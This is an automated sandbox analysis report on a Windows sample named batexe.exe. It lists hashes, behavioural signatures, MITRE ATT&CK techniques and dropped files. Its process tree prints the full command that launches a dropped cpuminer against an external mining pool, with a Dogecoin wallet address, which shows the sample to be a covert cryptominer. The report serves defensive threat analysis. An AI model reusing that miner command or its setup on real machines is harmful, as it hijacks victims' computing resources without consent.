73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
303s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
23/02/2024, 12:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
batexe.exe
Size 9.4MB
Sample240223-petl2sfe61
SHA256 73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
MD5 cdc9eacffc6d2bf43153815043064427
SHA1 d05101f265f6ea87e18793ab0071f5c99edf363f
SHA512 fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP 196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3844919115-497234255-166257750-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3844919115-497234255-166257750-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
560	b2e.exe
4344	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4344	cpuminer-sse2.exe
4344	cpuminer-sse2.exe
4344	cpuminer-sse2.exe
4344	cpuminer-sse2.exe
4344	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4420-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4420 wrote to memory of 560	4420	batexe.exe	91
PID 4420 wrote to memory of 560	4420	batexe.exe	91
PID 4420 wrote to memory of 560	4420	batexe.exe	91
PID 560 wrote to memory of 2080	560	b2e.exe	92
PID 560 wrote to memory of 2080	560	b2e.exe	92
PID 560 wrote to memory of 2080	560	b2e.exe	92
PID 2080 wrote to memory of 4344	2080	cmd.exe	95
PID 2080 wrote to memory of 4344	2080	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4420
- C:\Users\Admin\AppData\Local\Temp\44D4.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\44D4.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\44D4.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:560
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\532C.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2080
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\44D4.tmp\b2e.exe
Size 6.6MB
SHA256 a8e6c2c2f5cd1a3de7e09dfb7c49d2559cd7f77d8c32546d4be3a924b0fd8fe0
MD5 5008dcfbfb87fa950f40893efbde25fc
SHA1 39332aca3d892f7510900be92d687103517029fd
SHA512 62033eb57932f844f684a8b453aff431334adaccb02c0cc095258166bccac357e94ad6399958368a46ab73be119e239e5cbf739c267b6607a4130b5d28acc9c6
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSusjtZPPxtSVJk:2Vh7J/WrocAdkmBtKCLaDr/4Q8FD9C4
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\44D4.tmp\b2e.exe
Size 1.4MB
SHA256 b5ede4ee58898940fa268a8aa17da9fc31eae634a8c95afcb2412ae199e8f4b6
MD5 c5e09858066f182b7f5bdcb61d9b36fc
SHA1 7a1de79ffcfa17a7a86a01f8d5046eaf970b8905
SHA512 70e4e7cf5ec9df418480b0773c325e489749cbf6b5af491b24f6a6b2298cb043f681689531e70666787d42723d096d57012f1bccf317367908ce68a1420a6dfd
SSDEEP 24576:HWH1K27gMyIwW4QXJWrPZhYOhat1cFqR3K7c16OqNjd0JB17LKD8fvawwv/AIS0M:HWVh7Fj/WrXYcatDRddBu4
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\44D4.tmp\b2e.exe
Size 2.8MB
SHA256 80c54200113264848b0a02dfef414bee7e1000ae8db116136fad1a6474d43e29
MD5 1cd1f1463362e82070bd38c1ad8de2d3
SHA1 02b59eedcca64d1bcdbebabb05228cd292c1fdde
SHA512 f67290611bf4653411f513f696f93add280763b3da208f3ad6a5c2b171fde413daf0d6e4909a13d93a08eed4946e98332ba40d07e39ba686cf356da9d87c355f
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSY:2Vh7J/WrocAdkmBtKV
MD5 SHA1 SHA512 SSDEEP

Submit Download

batchfile.bat

Path C:\Users\Admin\AppData\Local\Temp\532C.tmp\batchfile.bat
Size 136B
SHA256 65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
MD5 8ea7ac72a10251ecfb42ef4a88bd330a
SHA1 c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA512 a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
MD5 SHA1 SHA512

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 485KB
SHA256 ffb74ad480b40b3031f7972989b8954f4904dbee20a4a86a92d41eb1b115bced
MD5 c642fc2f40c2964148f00ec178514f64
SHA1 782cdd344b8b13ff6a752d169422b4b6b09faeb6
SHA512 f0426417b0352b511073d33821b01f7a494b6cfbbc3473deae21c0134740cf61c5ec05d06f1739b0c1141f34c64922ed78004faa016b35e909e70b34807690e7
SSDEEP 12288:WRtMPAkXZ9Zeql/DZoq/Qphj2XVgQ7N/TiojFZi9lGX:WbAAkXZfeqVZoq/QpmN/TDjv
MD5 SHA1 SHA512 SSDEEP

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 416KB
SHA256 38571c9c605ae3a58d838efae4c9b25f8f6a17ee6e4631aa83839f16ecebbf96
MD5 62d375cbca5103a2538955ab3d964c10
SHA1 3b506fc949240b74e183b476a2617dd1aedea429
SHA512 debfcebe087215727387e3ae791c8ed8a635d04fc35b4c29cad3616908b85fa610c456c9f101057f323e4564e62b6b95c2cc8843b6226f8857f7a5b8e32b9819
SSDEEP 12288:WRtMPAkXZ9Zeql/DZoq/Qphj2XVgQ7N/Tr:WbAAkXZfeqVZoq/QpmN/Tr
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 448KB
SHA256 13fd488b38f3b75438e9ad0a033df005cd397f3c92f43275714a0a7eb3fb4db8
MD5 19a61444b6e2d01755ede80960bca19c
SHA1 e0c7222784d3e2b3329ec3280648b17fd60ef209
SHA512 bc02c82bdac19f10f3e3a93d3f507bb7838c9255b7cff5af6e3a7f3b471dae9c45c52728c3c23857b3402dd1702cb51a20f225a4da992c26a997c26d86b6b1d9
SSDEEP 6144:G6l05RRx7sVReffLoF62FryGLi21TdLN7/Gb4hoYn9sg:xup7YufLe62F2G1TdLN7/g4hHV
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 836KB
SHA256 218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
MD5 aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA1 5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA512 c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
SSDEEP 24576:xufMF9VdLNrjhHdLI8cUlOb1w4yYhJWOrXQB:cfMFhBr19LI87lOb1w4IOrXQB
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 620KB
SHA256 6a755294f7f97de577bd3ba3f33ebb8a3e8eab452c1e776fdcca0a081db8a864
MD5 79bc973d208d679a513a478bbcb51b8d
SHA1 f5a880755afdbb2a8ba93a7e811f9e9131b8121f
SHA512 f6ef5d0ec2a656940ee3a0217791c7590a092656bc85b8540c0ed99f36e89c130f001fc0514a8af0946134129149c0f6ca676b128cb1cfd881b7d97943c99f12
SSDEEP 12288:ynYk4yH15191n1q1x1c1vw6t8a1/hKhbhdhvh3hY6Dhch3hhCZ1c1eCJ1MC1+1Mu:mnKt/wDm1nazZm
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 519KB
SHA256 92c7c258f9a00a0cd4dda479154220c1b4bbd9b2f069588d32c180141cfdca2e
MD5 e09078dfdb6621c30fa4518354e7d196
SHA1 4cf02f394068e40bcb45116f04cd14b6ab24e309
SHA512 4e8c67541f60a0c6b7eef06016f3070ea677e59734603d23c157f49139c80ee956481e86cac57c26f2b52a097ec6fc39101ffbbc0c7e3bb075a8a2ddea6bb8d9
SSDEEP 12288:ynYk4yH15191n1q1x1c1vw6t8a1/hKhbhdhvh3hY6Dhch3hhCZ1c1eCJ1MC1+1Me:mnKtb
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 576KB
SHA256 2c04d5960f13e859d49c78a8858bdcb0c53914306eba52746105a76d98f5d205
MD5 13746f79a51eb8ce3107de99ffc6b56a
SHA1 64a00c99a805f8775f08cda4e4d06e1150195347
SHA512 d0e69c6cf0078c858e8258a4038098e644d611b544b6588b2b1c9d2d2937ade0472edc96257545f5935514bfa18970f5762eb393def612c5a7027727397ca8d7
SSDEEP 6144:qKRa5s+G7mCiqxo2LhDX9mKm1xWQzyAyMxYATdriIvhFGYGJPsZJh5yc:9Rgs+Gatqxo2LvmKmOmVriIvhr/5yc
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 156KB
SHA256 d2db72285b716b2dc0515997c7680ea78b10125d8bd3e4005f244505ffecd705
MD5 878c274e50f17ac51da94946ee61932a
SHA1 45ee0c4ec6ece92f103344f4a29a4759604dc409
SHA512 c7be552e0e470c970da136c80eb26995da97d7308d253731d0a0da7f0f94635a26fafaf0af1ce961c8b7dbd7914ba7918ada8f3118af60b5a7bf7f5f567527ba
SSDEEP 3072:OEOWd4lAhRoZuXCFUf2yaYuT4V+Gk3UmCQoUxKN3Kbso2Qom:qKRa5s+G7mCiqxo2Lm
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 193KB
SHA256 c38869f6ba3cef984d40fef7a8ce9ce3da401f714ab54dfc982f655cdcf2e6cc
MD5 93d43abc71c69e196500cf1984cbc6ab
SHA1 4dd3ace3bbbbe3f71e0a2541044a8b53c669f2be
SHA512 c916f08bd00cae089fd86b85e99b0772f385fd6de81edb243a4ac568601360e23d671ca4f2f1caae39ac6d6df165868f3016a4c19a8ef1129ccc208650b99b6c
SSDEEP 3072:OEOWd4lAhRoZuXCFUf2yaYuT4V+Gk3UmCQoUxKN3Kbso2Qo1B2JmDN:qKRa5s+G7mCiqxo2LhDN
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 264KB
SHA256 17a50f33e8a53f6c38a03ff1d8735c8c2b19b1c1754fa75277a8abfdac71e315
MD5 89921e964db073a8d69e2f797c233c83
SHA1 4d7c7efbbc3867acd717dd2d253b481a2afe9bca
SHA512 450a11b00e259febedf01e41cade956e38051b92c472f035674d67acee19572ce7571e099c48395cefb94a38066ea408bf31749538dc2d0d0ff4d03ffc43efaa
SSDEEP 6144:g9rAim3YMr6mjmrYGf4qt2zQi/XaWqDqLrwGjqlK+Ge4e+2OliKpKCkv:IrAim3Y9lrzf34z//KRwwtkIr1Pznv
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 155KB
SHA256 af5f55c626e28428d669f6802afea5e08de24530a35db7accf685c6be9cd3dea
MD5 15bd732e783f4eae923500cbf891683d
SHA1 4a26c1e044ff37ab37e0a409503ac4aa7c684d08
SHA512 f5a46bf7d262acba838bd5ddd230e6f6cf19911e089eecc84aebe879f237a8a18937c0f27d49e11b1f675129e5fcc38679a190ff4823a866ca021db57af55f4d
SSDEEP 3072:g9ruLE6xim3YOPSA6ml6mmrBXeG8GvtWqOE2zQi/sYNk:g9rAim3YMr6mjmrYGf4qt2zQi/Xk
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/560-58-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/560-7-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/4344-47-0x0000000000D40000-0x00000000025F5000-memory.dmp

Download

memory/4344-79-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4344-44-0x0000000061440000-0x000000006156B000-memory.dmp

Download

memory/4344-46-0x0000000062560000-0x00000000625F8000-memory.dmp

Download

memory/4344-104-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4344-53-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4344-43-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4344-59-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4344-64-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4344-69-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4344-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Download

memory/4344-89-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4344-94-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4344-99-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4420-9-0x0000000000400000-0x000000000393A000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads